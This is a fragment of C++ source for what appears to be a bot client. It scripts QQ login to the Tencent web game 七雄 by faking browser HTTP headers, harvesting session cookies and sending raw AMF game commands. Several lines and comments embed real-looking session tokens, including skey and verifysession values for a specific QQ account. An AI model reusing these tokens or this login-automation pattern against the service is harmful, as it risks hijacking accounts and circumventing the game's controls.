//  Set-Cookie: zzpaneluin=; EXPIRES=Fri, 02-Jan-1970 00:00:00 GMT; PATH=/; DOMAIN=qq.com;


//  Set-Cookie: zzpanelkey=; EXPIRES=Fri, 02-Jan-1970 00:00:00 GMT; PATH=/; DOMAIN=qq.com;


//  Set-Cookie: ptisp=cnc; PATH=/; DOMAIN=qq.com;


//  Set-Cookie: ptuserinfo=5465727279; PATH=/; DOMAIN=ptlogin2.qq.com;


//  Set-Cookie: ptcz=3400691b39c24d5649f17f5d1bf221e49444f89165cdae923e81a44915f2caf8; EXPIRES=Fri, 02-Jan-2020 00:00:00 GMT; PATH=/; DOMAIN=ptlogin2.qq.com;


//Set-Cookie: airkey=; EXPIRES=Fri, 02-Jan-1970 00:00:00 GMT; PATH=/; DOMAIN=qq.com;





    //pt2gguin


    CString x;


    int i=str.Find("pt2gguin");


    int j=str.Find(';',i);  





    CString temp=str.Mid(i,j-i+1);


    int m=temp.Find("=");


    int n=temp.Find(";");


    str1=temp.Mid(m+1,n-m-1);





    //skey


    i=str.Find("skey");


    j=str.Find(';',i);  


    temp=str.Mid(i,j-i+1);


    m=temp.Find("=");


    n=temp.Find(";");


    str2=temp.Mid(m+1,n-m-1);





    //ptisp


    i=str.Find("ptisp");


    j=str.Find(';',i);  


    temp=str.Mid(i,j-i+1);


    m=temp.Find("=");


    n=temp.Find(";");


    str3=temp.Mid(m+1,n-m-1);





    //ptuserinfo


    i=str.Find("ptuserinfo");


    j=str.Find(';',i);  


    temp=str.Mid(i,j-i+1);


    m=temp.Find("=");


    n=temp.Find(";");


    str4=temp.Mid(m+1,n-m-1);





    //ptcz


    i=str.Find("ptcz");


    j=str.Find(';',i);


    temp=str.Mid(i,j-i+1);


    m=temp.Find("=");


    n=temp.Find(";");


    str5=temp.Mid(m+1,n-m-1);





    return 1;


}





UINT CLoginDlg::Get3DomainCookies(CString str, CString &str1, CString &str2, CString &str3)


{


    CString x;


    int i=str.Find("sTemp");


    int j=str.Find(';',i);  


    


    CString temp=str.Mid(i,j-i+1);


    int m=temp.Find("=");


    int n=temp.Find(";");


    str1=temp.Mid(m+1,n-m-1);


    


    //skey


    i=str.Find("7_fx_login");


    j=str.Find(';',i);  


    temp=str.Mid(i,j-i+1);


    m=temp.Find("=");


    n=temp.Find(";");


    str2=temp.Mid(m+1,n-m-1);


    


    //ptisp


    i=str.Find("sFrom");


    j=str.Find(';',i);  


    temp=str.Mid(i,j-i+1);


    m=temp.Find("=");


    n=temp.Find(";");


    str3=temp.Mid(m+1,n-m-1);


    





    


    return 1;


}








DWORD WINAPI CLoginDlg::_NormalThreadProc(LPVOID lpParam)


{


    ::CoInitialize(NULL);


    


    CLoginDlg *pdlg=(CLoginDlg *)lpParam;





    //正常验证过程


    TAG_HTTPRequest req,req2,req3,req4;


    CHttpRequest  hrq;


    CString strQQid,strUrl,strHeader,strlog,strQQpsw,strProc,strpath;


    CString strverify1,strverify2;//是否需要图片验证,验证码


    CString strEncPsw,strptvfsession;


    CString strverifysession,strPic;


    CString strRecvHeader,strRecvMessage;


    CString strpvid,strinfo;


    int iret;


    pdlg->m_edit1.GetWindowText(strQQid);


    pdlg->m_edit2.GetWindowText(strQQpsw);


    pdlg->m_edit3.GetWindowText(pdlg->m_strDomain);





    C7wAmfCmd::m_strDomain=pdlg->m_strDomain;


    pdlg->m_strQQid=strQQid;


    


    strpvid="3993011775";


    strinfo="s1534072119";


    strUrl.Format("http://ptlogin2.qq.com/check?uin=%s&appid=39000301&r=0.06601201818939911",strQQid);


    


    strHeader.Format("Accept: */*\r\n"\


        "Referer: http://ui.ptlogin2.qq.com/cgi-bin/login?appid=39000301&no_verifyimg=1&f_url=loginerroralert&css=http%%3A//7.qq.com/web201006/jscss/login.css&hide_title_bar=1&s_url=http%%3A//game.7.qq.com/index.shtml\r\n"\


        "Accept-Language: zh-cn\r\n"\


        "UA-CPU: x86\r\n"\


        "Accept-Encoding: gzip, deflate\r\n"\


        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"\


        "Host: ptlogin2.qq.com\r\n"\


        "Connection: Keep-Alive\r\n"\


        "Cookie:pgv_pvid=%s; pgv_info=pgvReferrer=&ssid=%s\r\n\r\n",strpvid,strinfo);








    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req);





    if(!iret)


    {   


        strlog.Format("QQ帐号%s登录服务器成功.",strQQid);


        pdlg->SetMainFrameLog(strlog,0);


        


    }else


    {





        strlog.Format("QQ帐号%s登录服务器失败.",strQQid);


        pdlg->SetMainFrameLog(strlog,0);


        return -1;


    }


            


    strRecvMessage=req.message;


    strRecvHeader=req.headerReceive;


    free(req.message);


    free(req.headerReceive);


    


    strptvfsession=pdlg->GetPtvSession(strRecvHeader);


    pdlg->GetVerifyStr(strRecvMessage,strverify1,strverify2);


    


    if(strverify1=="0")


    {


        strlog.Format("成功获取验证码:%s",strverify2);


        pdlg->SetMainFrameLog(strlog,0);


        strlog.Format("成功获取ptvsession%s, %d",strptvfsession,strptvfsession.GetLength());


        pdlg->SetMainFrameLog(strlog,0);


    }else


    {   


        strlog.Format("需要图片验证码,参照图片输入验证码.");


        pdlg->SetMainFrameLog(strlog,0);


        strlog.Format("已取得链接验证码:%s",strverify2);


        pdlg->SetMainFrameLog(strlog,0);


        strverifysession=pdlg->GetVerifySession(strQQid);


        strlog.Format("成功取得图片Verifysession:%s,%d",strverifysession,strverifysession.GetLength());


        pdlg->SetMainFrameLog(strlog,0);


        


        pdlg->m_strptvfsession=strverifysession;


        pdlg->m_bPic=TRUE;


        return -1;


        


    }


    //////////////////////////////////////////////////////////////////////////////////////////////////////////


    //得到加密密码


    strEncPsw=pdlg->GetEncPsw(strQQpsw,strverify2);


    


    strUrl.Format("http://ptlogin2.qq.com/login?u=%s&p=%s&verifycode=%s&aid=39000301&u1=http%%3A%%2F%%2Fgame.7.qq.com/index.shtml&h=1&ptredirect=1&ptlang=2052&from_ui=1&dumy=&fp=loginerroralert&mibao_css=87",strQQid,strEncPsw,strverify2);


    


    strHeader.Format("Accept: */*\r\n"\


        "Referer:http://ui.ptlogin2.qq.com/cgi-bin/login?appid=39000301&no_verifyimg=1&f_url=loginerroralert&css=http%%3A//7.qq.com/web201006/jscss/login.css&hide_title_bar=1&s_url=http%%3A//game.7.qq.com/index.shtml\r\n"\


        "Accept-Language: zh-cn\r\n"\


        "UA-CPU: x86\r\n"\


        "Accept-Encoding: gzip, deflate\r\n"\


        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"\


        "Host: ptlogin2.qq.com\r\n"\


        "Connection: Keep-Alive\r\n"\


        "Cookie: ptvfsession=%s; pgv_pvid=%s; pgv_info=pgvReferrer=&ssid=%s\r\n\r\n",strptvfsession,strpvid,strinfo);


    


    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req2);


    


    strRecvHeader=req2.headerReceive;


    if(!iret)


    {


        strlog.Format("发送qq帐号密码成功%s,结果:%s",strQQid,amf_static::UTF8_2_OEM(req2.message));


        pdlg->SetMainFrameLog(strlog,0);


        


    }else


    {


        strlog.Format("发送qq帐号密码失败%s.",strQQid,req2.message);


        pdlg->SetMainFrameLog(strlog,0);


    }








    CString str1,str2,str3,str4,str5;


    pdlg->Get5LoginCookies(strRecvHeader,str1,str2,str3,str4,str5);


    strlog.Format("pt2gguin=%s;skey=%s;ptisp=%s;ptuserinfo=%s,ptcz==%s",str1,str2,str3,str4,str5);


    pdlg->SetMainFrameLog(strlog,0);


    pdlg->m_strpt2gguin=str1;


    pdlg->m_strskey=str2;


    pdlg->m_strptisp=str3;


    pdlg->m_strptuserinfo=str4;


    pdlg->m_strptcz=str5;


    free(req2.message);


    free(req2.headerReceive);


    //////////////////////////////////////////////////////////////////////////////////////////////////////////


    strUrl="http://login.7.qq.com/cgi-bin/CommWebGame/7X/7XLoginApp.cgi";


    


    CString strdata;


    strdata.Format("sGameKind=7X&sFrom=website&sNewServerId=%s&sOldServerId=",pdlg->m_strDomain);


    


    


    strHeader.Format("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,"


        "application/vnd.ms-excel, application/vnd.ms-powerpoint," 


        "application/msword, application/xaml+xml, application/x-ms-xbap,"


        "application/x-ms-application, */*\r\n"\


        "Referer: http://game.7.qq.com/index.shtml\r\n"\


        "Accept-Language: zh-cn\r\n"\


        "Content-Type: application/x-www-form-urlencoded\r\n"\


        "UA-CPU: x86\r\n"\


        "Accept-Encoding: gzip, deflate\r\n"\


        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;"


        ".NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E;"


        ".NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"\


        "Host: login.7.qq.com\r\n"\


        "Content-Length:%d\r\n"\


        "Connection: Keep-Alive\r\n"\


        "Cache-Control: no-cache\r\n"\


        "Cookie: ied_rf=--; pgv_pvid=%s; pgv_info=pgvReferrer=&ssid=%s;"\


        "pt2gguin=%s; uin=%s; skey=%s; ptisp=%s;"


        "IED_LOG_INFO=uin*123456|nick*TOM%%20|time*1309307826\r\n\r\n",


        strdata.GetLength(),strpvid,strinfo,pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp);                                                                                                                                                                                              


    


    strlog.Format("登录七雄密钥服务器,要稍等一会儿......",pdlg->m_strDomain);


    pdlg->SetMainFrameLog(strlog,0);


    


    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),(BYTE*)strdata.GetBuffer(0),strdata.GetLength(),&req3);


    


    strRecvHeader=req3.headerReceive;


    strRecvMessage=req3.message;


    


    CString strTemp,str7Login,strWebsite;


    pdlg->Get3DomainCookies(strRecvHeader,strTemp,str7Login,strWebsite);


    free(req3.message);


    free(req3.headerReceive);


    


    


    if(!iret)


    {


        strlog.Format("登录七雄密钥服务区成功,结果:%s",strRecvMessage);


        pdlg->SetMainFrameLog(strlog,0);


        pdlg->SetMainFrameLog(strTemp,0);


        pdlg->SetMainFrameLog(str7Login,0);


        pdlg->SetMainFrameLog(strWebsite,0);


        


        


    }else


    {


        strlog.Format("登录七雄密钥服务区失败,结果:%s",pdlg->m_strDomain,strRecvMessage);


        pdlg->SetMainFrameLog(strlog,0);


        return -1;


        


    }


    


    int i=strRecvMessage.Find("http");


    int j=strRecvMessage.Find('\'',i);


    CString temp=strRecvMessage.Mid(i,j-i);


    /////////////////////////////////////////////////////////////////////////////////////////////////////////   


    strUrl=temp;


    pdlg->SetMainFrameLog(strUrl,0);


    


    strHeader.Format("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,"


        "application/vnd.ms-powerpoint, application/msword, application/xaml+xml," 


        "application/x-ms-xbap, application/x-ms-application, */*\r\n"


        "Accept-Language: zh-cn\r\n"


        "UA-CPU: x86\r\n"


        "Accept-Encoding: gzip, deflate\r\n"


        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322;" 


        ".NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"


        "Host: s%s.jn2.7.qq.com\r\n"


        "Connection: Keep-Alive\r\n"


        "Cookie: ied_rf=--; sTemp=%s; 7_fx_login=%s; sFrom=%s;" 


        "pgv_pvid=%s; pgv_info=pgvReferrer=&ssid=%s; pt2gguin=%s; uin=%s;"


        "skey=%s; ptisp=%s;"


        "IED_LOG_INFO=uin*1234566|nick*TOM%%20|time*1309307826\r\n\r\n",pdlg->m_strDomain,strTemp,str7Login,strTemp,strpvid,


        strinfo,pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp);


    


    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req4,FALSE);


    


    strRecvHeader=req4.headerReceive;


    


    pdlg->m_strJsessionID=pdlg->GetJsessionId(strRecvHeader);


    if(!iret)


    {


        strlog.Format("%s登录七雄服务器%s成功!,结果:%s",pdlg->m_strQQid,pdlg->m_strDomain,pdlg->m_strJsessionID);


        pdlg->SetMainFrameLog(strlog,0);


        


    }else


    {


        strlog.Format("%s登录七雄服务器%s失败!,结果:%s",pdlg->m_strQQid,pdlg->m_strDomain,req4.headerReceive);


        pdlg->SetMainFrameLog(strlog,0);


        return -1;


        


    }


    free(req4.message);


    free(req4.headerReceive);


    


    


    


    //构造终级字符串


    pdlg->m_strAmfQuery.Format("Cookie: JSESSIONID=%s;ied_rf=--; sTemp=%s; 7_fx_login=%s; sFrom=%s;"


        "pgv_pvid=%s;pgv_info=pgvReferrer=&ssid=%s; ptui_width=300; ptui_height=164; pt2gguin=%s;" 


        "uin=%s; skey=%s; ptisp=%s,IED_LOG_INFO=uin*42523276|nick*Terry%%20|time*1309339566",pdlg->m_strJsessionID,strTemp,str7Login,strTemp,strpvid,


        strinfo,pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp);


    


    C7wAmfCmd::m_strCookies=pdlg->m_strAmfQuery;


    //////////////////////////////////////////////////////////////////////////////////////////////////////////


    


    //准备登录游戏,指令1是否进入游戏


    unsigned char amfcmd1[] ="\x00\x03\x00\x00\x00\x01\x00\x16\x61\x63\x63"


        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x69\x73\x45\x6E\x74\x65\x72\x47"


        "\x61\x6D\x65\x00\x02\x2F\x31\x00\x00\x00\x05\x0A\x00\x00\x00\x00";


    //获得加密key


    unsigned char amfcmd2[] ="\x00\x03\x00\x00\x00\x01\x00\x16\x61\x63\x63"


        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x67\x65\x74\x43\x72\x79\x70\x74"


        "\x4B\x65\x79\x00\x02\x2F\x32\x00\x00\x00\x05\x0A\x00\x00\x00\x00";


    //enter game


    unsigned char amfcmd3[] ="\x00\x03\x00\x00\x00\x01\x00\x14\x61\x63\x63"


        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x65\x6E\x74\x65\x72\x47\x61\x6D"


        "\x65\x00\x02\x2F\x33\x00\x00\x00\x05\x0A\x00\x00\x00\x00";


    


    //得到城堡数据


    unsigned char amfcmd4[]=


 "\x00\x03\x00\x00\x00\x01\x00\x19\x61\x63\x63\x6F\x75\x6E\x74\x41" 


 "\x63\x74\x2E\x67\x65\x74\x55\x73\x65\x72\x43\x61\x73\x74\x6C\x65" 


 "\x73\x00\x02\x2F\x34\x00\x00\x00\x05\x0A\x00\x00\x00\x00";      





//角色注册


unsigned char amfcmd5[]=


"\x00\x03\x00\x00\x00\x01\x00\x0B\x63\x68\x61\x74\x41\x63\x74\x2E" 


"\x72\x65\x67\x00\x02\x2F\x31\x00\x00\x00\x0C\x0A\x00\x00\x00\x01" 


"\x11\x0C\x09\x32\x05\x61\x55";                            





//获得大地图国家列表


 unsigned char amfcmd6[]=


 "\x00\x03\x00\x00\x00\x01\x00\x15\x6D\x61\x70\x41\x63\x74\x2E\x67"


 "\x65\x74\x43\x6F\x75\x6E\x74\x72\x79\x4C\x69\x73\x74\x00\x02\x2F" 


 "\x35\x00\x00\x00\x05\x0A\x00\x00\x00\x00";                  





 //有个信息获取





 //列出本国所有建筑列表


  unsigned char amfcmd7[]=


 "\x00\x03\x00\x00\x00\x01\x00\x1C\x63\x61\x73\x74\x6C\x65\x41\x63"


 "\x74\x2E\x6C\x69\x73\x74\x43\x61\x73\x74\x6C\x65\x42\x75\x69\x6C" 


 "\x64\x69\x6E\x67\x00\x02\x2F\x36\x00\x00\x00\x0C\x0A\x00\x00\x00" 


 "\x01\x11\x0C\x09\x30\x8C\xCB\x04";                         





    pdlg->_SendAmfCmd(amfcmd1,43,pdlg,"accountAct.isEnterGame");


    pdlg->_SendAmfCmd(amfcmd2,43,pdlg,"accountAct.getCryptKey");


    pdlg->_SendAmfCmd(amfcmd3,41,pdlg,"accountAct.enterGame");


    pdlg->_SendAmfCmd(amfcmd4,46,pdlg,"accountAct.getUserCastles");


    pdlg->_SendAmfCmd(amfcmd5,39,pdlg,"chatAct.reg");


    pdlg->_SendAmfCmd(amfcmd6,42,pdlg,"mapAct.getCountryList");


    pdlg->_SendAmfCmd(amfcmd7,56,pdlg,"castleAct.listCastleBuilding");


    ::CoUninitialize();


    


    


    return -1;


}











DWORD WINAPI CLoginDlg::_PictureThreadProc(LPVOID lpParam)


{


    ::CoInitialize(NULL);





    CLoginDlg *pdlg=(CLoginDlg *)lpParam;


    TAG_HTTPRequest     req,req2;


    CHttpRequest  hrq;


    CString strQQid,strUrl,strHeader,strlog,strQQpsw,strProc,strpath;


    CString strEncPsw,strptvfsession,strtemp;


    CString strpvid,strinfo;


    CString strRecvHeader,strRecvMessage;


    int iret;


    pdlg->m_edit1.GetWindowText(strQQid);


    pdlg->m_edit2.GetWindowText(strQQpsw);


    pdlg->m_edit3.GetWindowText(pdlg->m_strDomain);


    pdlg->m_edit4.GetWindowText(pdlg->m_strverify);//用户输入的验证码


    C7wAmfCmd::m_strDomain=pdlg->m_strDomain;


    strpvid="3993011775";


    strinfo="s1534072119";


    strEncPsw=pdlg->GetEncPsw(strQQpsw,pdlg->m_strverify);


    


    //////////////////////////////////////////////////////////////////////////////


    


    strUrl.Format("http://ptlogin2.qq.com/login?u=%s&p=%s&verifycode=%s&aid=39000301&u1=http%%3A%%2F%%2Fgame.7.qq.com/index.shtml&h=1&ptredirect=1&ptlang=2052&from_ui=1&dumy=&fp=loginerroralert&mibao_css=87",strQQid,strEncPsw,pdlg->m_strverify);


    


    


    strHeader.Format("Accept: */*\r\n"\


        "Referer:http://ui.ptlogin2.qq.com/cgi-bin/login?appid=39000301&no_verifyimg=1&f_url=loginerroralert&css=http%%3A//7.qq.com/web201006/jscss/login.css&hide_title_bar=1&s_url=http%%3A//game.7.qq.com/index.shtml\r\n"\


        "Accept-Language: zh-cn\r\n"\


        "UA-CPU: x86\r\n"\


        "Accept-Encoding: gzip, deflate\r\n"\


        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"\


        "Host: ptlogin2.qq.com\r\n"\


        "Connection: Keep-Alive\r\n"\


        "Cookie: pgv_info=pgvReferrer=&ssid=%s; verifysession=%s; pgv_pvid=%s; pt2gguin=o0042523276;" 


        "ac=1,024,005; uin_cookie=42523276; euin_cookie=33D430B64B1019F4F91CC0161C0F1392E5FFF434C9116519;"


        "ptui_width=283; ptui_height=266;" 


        "ptcz=49c3d298bfe6e68ee75cc38defbe6a3f28eb62a5ad40f9d68dc992e70470df1d\r\n\r\n",


        strinfo,pdlg->m_strptvfsession,strpvid);    


    


    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req2);


    


    if(!iret)


    {


        strlog.Format("发送图片qq密码成功%s.结果:%s",strQQid,amf_static::UTF8_2_OEM(req2.message));


        pdlg->SetMainFrameLog(strlog,0);


        


    }else


    {


        strlog.Format("发送图片qq密码失败%s.",strQQid);


        pdlg->SetMainFrameLog(strlog,0);


        return -1;


    }


    strRecvHeader=req2.headerReceive;


    CString str1,str2,str3,str4,str5;


    pdlg->Get5LoginCookies(strRecvHeader,str1,str2,str3,str4,str5);


    strlog.Format("pt2gguin=%s;skey=%s;ptisp=%s;ptuserinfo=%s,ptcz==%s",str1,str2,str3,str4,str5);


    pdlg->SetMainFrameLog(strlog,0);


    pdlg->m_strpt2gguin=str1;


    pdlg->m_strskey=str2;


    pdlg->m_strptisp=str3;


    pdlg->m_strptuserinfo=str4;


    pdlg->m_strptcz=str5;


    free(req2.message);


    free(req2.headerReceive);


    


    ////////////////////////////////////////////////////////////////////////////////////////////////////////


    


    


    strUrl="http://login.7.qq.com/cgi-bin/CommWebGame/7X/7XLoginApp.cgi";


    


    CString strdata;


    strdata.Format("sGameKind=7X&sFrom=website&sNewServerId=%s&sOldServerId=",pdlg->m_strDomain);


    pdlg->SetMainFrameLog(  strdata,0);


    


    strHeader.Format("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,"


        "application/vnd.ms-excel, application/vnd.ms-powerpoint," 


        "application/msword, application/xaml+xml, application/x-ms-xbap," 


        "application/x-ms-application, */*\r\n"


        "Referer: http://7.qq.com/server/indexLogined.shtml\r\n"


        "Accept-Language: zh-cn\r\n"


        "Content-Type: application/x-www-form-urlencoded\r\n"


        "UA-CPU: x86\r\n"


        "Accept-Encoding: gzip, deflate\r\n"


        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;"


        ".NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648;" 


        ".NET CLR 3.5.21022)\r\n"


        "Host: login.7.qq.com\r\n"


        "Content-Length:%d\r\n"


        "Connection: Keep-Alive\r\n"


        "Cache-Control: no-cache\r\n"                                                                                                                                                                                                                                                                                                                                                                                                                                    


        "Cookie: ied_rf=--; pgv_pvid=8063237839; pgv_info=pgvReferrer=&ssid=s8136754910;" 


        "pt2gguin=%s; uin=%s; skey=%s; ptisp=%s; verifysession=%s\r\n\r\n",strdata.GetLength(),


        pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp,pdlg->m_strptvfsession);


    


    


    


    strlog.Format("图片登录七雄密钥服务器,要稍等一会儿......");


    pdlg->SetMainFrameLog(strlog,0);


    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),(BYTE*)strdata.GetBuffer(0),strdata.GetLength(),&req2);


    if(!iret)


    {


        strlog.Format("图片登录七雄密钥服务器成功!%s",req2.message);


        


        


        


    }else


    {


        strlog.Format("图片登录七雄密钥服务器失败!%s",req2.message);


        pdlg->SetMainFrameLog(strlog,0);


        return -1;


    }


    


    strRecvHeader=req2.headerReceive;


    strRecvMessage=req2.message;


    


    CString strTemp,str7Login,strWebsite;


    pdlg->Get3DomainCookies(strRecvHeader,strTemp,str7Login,strWebsite);


    pdlg->SetMainFrameLog(strlog,0);


    pdlg->SetMainFrameLog(strTemp,0);


    pdlg->SetMainFrameLog(str7Login,0);


    pdlg->SetMainFrameLog(strWebsite,0);


    


    free(req2.message);


    free(req2.headerReceive);


    //////////////////////////////////////////////////////////////////////////////////////////////////////  


    int i=strRecvMessage.Find("http");


    int j=strRecvMessage.Find('\'',i);


    CString temp=strRecvMessage.Mid(i,j-i);


    


    strUrl=temp;


    pdlg->SetMainFrameLog(strUrl,0);


    


    


    strHeader.Format("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,"


        "application/vnd.ms-excel, application/vnd.ms-powerpoint," 


        "application/msword, application/xaml+xml, application/x-ms-xbap," 


        "application/x-ms-application, */*\r\n"


        


        "Accept-Language: zh-cn\r\n"


        "UA-CPU: x86\r\n"


        "Accept-Encoding: gzip, deflate\r\n"


        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;"


        ".NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648;" 


        ".NET CLR 3.5.21022)\r\n"


        "Host: s%s.jn2.7.qq.com\r\n"


        "Connection: Keep-Alive\r\n"                                                                                                                                                                                                                                                                                                                                                                                                                                 


        "Cookie: ied_rf=--;sTemp=%s;7_fx_login=%s;sFrom=%s;pgv_pvid=8063237839;pgv_info=pgvReferrer=&ssid=s8136754910;" 


        "pt2gguin=%s; uin=%s; skey=%s; ptisp=%s; verifysession=%s\r\n\r\n",pdlg->m_strDomain,strTemp,str7Login,strWebsite,


        pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp,pdlg->m_strptvfsession);


    


    //Cookie: ied_rf=--; sTemp=website; 7_fx_login=42523276%7C218%2E25%2E62%2E156%7C1309394140%7C0%7C1%7C1%5F6%7C0%5F0%7C0%5F0%7CA4EE68187C793817519654E065208E53; sFrom=website; pgv_pvid=8063237839; pgv_info=pgvReferrer=&ssid=s8136754910; pt2gguin=o0042523276; uin=o0042523276; skey=@QWXW7LGXz; ptisp=cnc; verifysession=h005c500a6784820afad1a526d970fee1c345ea972dbdaaf19f4a3d9595498b434d33600fad45ca8f7aee7547ab05462317


    


    


    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req2,FALSE);


    


    strRecvHeader=req2.headerReceive;


    pdlg->m_strJsessionID=pdlg->GetJsessionId(strRecvHeader);


    if(!iret)


    {


        strlog.Format("图片%s登录七雄服务器%s成功!,结果:%s",pdlg->m_strQQid,pdlg->m_strDomain,pdlg->m_strJsessionID);


        pdlg->SetMainFrameLog(strlog,0);


        


    }else


    {


        strlog.Format("图片%s登录七雄服务器%s失败!,结果:%s",pdlg->m_strQQid,pdlg->m_strDomain,req2.headerReceive);


        pdlg->SetMainFrameLog(strlog,0);


        return -1;


        


    }


    


    


/*  CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"Picend.txt";


    CFile file4(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);


    file4.Write(req2.headerReceive,strlen(req2.headerReceive));


    //写入文件（从当前位置）


    file4.Write(req2.message,req2.messageLength);


    file4.Close();*/


    free(req2.message);


    free(req2.headerReceive);


    


    //构造终级字符串


    pdlg->m_strAmfQuery.Format("Cookie: JSESSIONID=%s; ied_rf=--; sTemp=%s; 7_fx_login=%s; sFrom=%s;"


        "pgv_pvid=%s;pgv_info=pgvReferrer=&ssid=%s;pt2gguin=%s;" 


        "uin=%s; skey=%s; ptisp=%s,verifysession=%s",pdlg->m_strJsessionID,strTemp,str7Login,strTemp,strpvid,


        strinfo,pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp,pdlg->m_strptvfsession);


    


    C7wAmfCmd::m_strCookies=pdlg->m_strAmfQuery;


    


    


    //准备登录游戏,指令1是否进入游戏


    unsigned char amfcmd1[] ="\x00\x03\x00\x00\x00\x01\x00\x16\x61\x63\x63"


        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x69\x73\x45\x6E\x74\x65\x72\x47"


        "\x61\x6D\x65\x00\x02\x2F\x31\x00\x00\x00\x05\x0A\x00\x00\x00\x00";


    //获得加密key


    unsigned char amfcmd2[] ="\x00\x03\x00\x00\x00\x01\x00\x16\x61\x63\x63"


        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x67\x65\x74\x43\x72\x79\x70\x74"


        "\x4B\x65\x79\x00\x02\x2F\x32\x00\x00\x00\x05\x0A\x00\x00\x00\x00";


    //enter game


    unsigned char amfcmd3[] ="\x00\x03\x00\x00\x00\x01\x00\x14\x61\x63\x63"


        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x65\x6E\x74\x65\x72\x47\x61\x6D"


        "\x65\x00\x02\x2F\x33\x00\x00\x00\x05\x0A\x00\x00\x00\x00";


    


    //得到城堡数据


    unsigned char amfcmd4[]=


        "\x00\x03\x00\x00\x00\x01\x00\x19\x61\x63\x63\x6F\x75\x6E\x74\x41" 


        "\x63\x74\x2E\x67\x65\x74\x55\x73\x65\x72\x43\x61\x73\x74\x6C\x65" 


        "\x73\x00\x02\x2F\x34\x00\x00\x00\x05\x0A\x00\x00\x00\x00";      


    


    //角色注册


    unsigned char amfcmd5[]=


        "\x00\x03\x00\x00\x00\x01\x00\x0B\x63\x68\x61\x74\x41\x63\x74\x2E" 


        "\x72\x65\x67\x00\x02\x2F\x31\x00\x00\x00\x0C\x0A\x00\x00\x00\x01" 


        "\x11\x0C\x09\x32\x05\x61\x55";                            


    


    //获得大地图国家列表


    unsigned char amfcmd6[]=


        "\x00\x03\x00\x00\x00\x01\x00\x15\x6D\x61\x70\x41\x63\x74\x2E\x67"


        "\x65\x74\x43\x6F\x75\x6E\x74\x72\x79\x4C\x69\x73\x74\x00\x02\x2F" 


        "\x35\x00\x00\x00\x05\x0A\x00\x00\x00\x00";                  


    


    //有个信息获取


    


    //列出本国所有建筑列表


    unsigned char amfcmd7[]=


        "\x00\x03\x00\x00\x00\x01\x00\x1C\x63\x61\x73\x74\x6C\x65\x41\x63"


        "\x74\x2E\x6C\x69\x73\x74\x43\x61\x73\x74\x6C\x65\x42\x75\x69\x6C" 


        "\x64\x69\x6E\x67\x00\x02\x2F\x36\x00\x00\x00\x0C\x0A\x00\x00\x00" 


        "\x01\x11\x0C\x09\x30\x8C\xCB\x04";                         


    


    pdlg->_SendAmfCmd(amfcmd1,43,pdlg,"accountAct.isEnterGame");


    pdlg->_SendAmfCmd(amfcmd2,43,pdlg,"accountAct.getCryptKey");


    pdlg->_SendAmfCmd(amfcmd3,41,pdlg,"accountAct.enterGame");


    pdlg->_SendAmfCmd(amfcmd4,46,pdlg,"accountAct.getUserCastles");


    pdlg->_SendAmfCmd(amfcmd5,39,pdlg,"chatAct.reg");


    pdlg->_SendAmfCmd(amfcmd6,42,pdlg,"mapAct.getCountryList");


    pdlg->_SendAmfCmd(amfcmd7,56,pdlg,"castleAct.listCastleBuilding");


    


    


